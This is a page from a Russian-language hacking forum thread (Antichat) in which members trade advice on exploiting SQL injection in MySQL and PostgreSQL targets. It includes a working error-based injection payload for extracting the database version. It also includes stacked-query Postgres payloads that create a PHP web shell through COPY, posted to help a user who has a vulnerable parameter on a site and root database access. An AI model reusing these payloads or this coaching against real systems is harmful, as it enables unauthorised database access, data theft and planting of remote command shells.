Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 949 of 1207
  1. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    если я правильно понял что ковычки не нужны,попробуй
    Code:
    \'1.php\'
     
    #18961 Faaax, 9 Jan 2012
  2. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    а что ты сделать хочешь?
    если load_file, то можно захексить. если into outfile, то нельзя.
     
    #18962 d1v, 9 Jan 2012
    2 people like this.
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    ты уверен что там версия mysql >= 5 ?
     
    _________________________
    #18963 Konqi, 9 Jan 2012
  4. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    Sql Version:4.1.25-log
     
    #18964 brain, 9 Jan 2012
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    там нету information_schema
     
    _________________________
    #18965 Konqi, 9 Jan 2012
    1 person likes this.
  6. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    как быть?(что почитать? на ачате все прочитал) курю про инъекции уже 2-ой день, чет хреноватенько получается.. не мой профиль
     
    #18966 brain, 9 Jan 2012
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    узнать имена таблиц не получится, тока брут
     
    _________________________
    #18967 Konqi, 9 Jan 2012
    3 people like this.
  8. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Вопрос: допустим имеется следующий SQL запрос: UPDATE news SET some_var = var+1 WHERE news_id=27. Уязвимым параметром является news_id. Что и как мне можно из этого выжать? =)
     
    #18968 ~EviL~, 10 Jan 2012
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://devteev.blogspot.com/2010/02/sql-injection-insert-update-delete-etc.html
     
    _________________________
    #18969 Konqi, 10 Jan 2012
  10. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    В моем случае уязвимый параметр стоит в запросе после WHERE, что, как мне кажется, существенно ограничивает мои возможности...
     
    #18970 ~EviL~, 10 Jan 2012
  11. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    where 'sqli'
    sqli='and (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- x
     
    #18971 M_script, 10 Jan 2012
    3 people like this.
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    M_script, как такие запросы строить? в какой статье можно прочитать?
     
    _________________________
    #18972 yarbabin, 10 Jan 2012
  13. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Например тут
     
    #18973 stepashka_, 10 Jan 2012
    1 person likes this.
  14. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Или тут.
     
    _________________________
    #18974 Expl0ited, 10 Jan 2012
    2 people like this.
  15. BaleHoK

    BaleHoK Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    399
    Likes Received:
    21
    Reputations:
    10
    Перелопатил пол инета,ответ так и не нашел...Postgres >8 версия,рут...можно ли вывести все бд как в масе?
     
    #18975 BaleHoK, 10 Jan 2012
  16. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Вот че в нете нашел:
    PHP:
    ?a=1;CREATE TABLE shell (a text);
    ?a=1;INSERT INTO shell(a) VALUES ('<? pasthru($_GET[cmd]); ?>');
    ?a=1;COPY shell (a) TO shellaaaa;
    ?a=1; DROP TABLE shell;
     
    #18976 Ereee, 10 Jan 2012
  17. BaleHoK

    BaleHoK Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    399
    Likes Received:
    21
    Reputations:
    10
    Это и на ачате есть...мне не интересно выполнение команд...ибо скрипты и sql разнесены по сервакам...мне нужен аналог information_schemata как в mysql...существует ли он для постгрес
     
    #18977 BaleHoK, 10 Jan 2012
  18. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Копай в строну pg_tables.
     
    #18978 Ereee, 10 Jan 2012
  19. BaleHoK

    BaleHoK Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    399
    Likes Received:
    21
    Reputations:
    10
    Прежде чем это написать не поленился бы и посмотрел для каких это версий..это было в старых постгрес..если не изменяет память <=7 версии

    Вопрос по прежнему актуален
     
    #18979 BaleHoK, 10 Jan 2012
  20. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Да неужели? В документации написано для восьмой версии:
    http://www.postgresql.org/docs/8.0/static/view-pg-tables.html

    P.S. Может в документации ошибка? :D
     
    #18980 Ereee, 10 Jan 2012
(You must log in or sign up to post here.)
Page 949 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.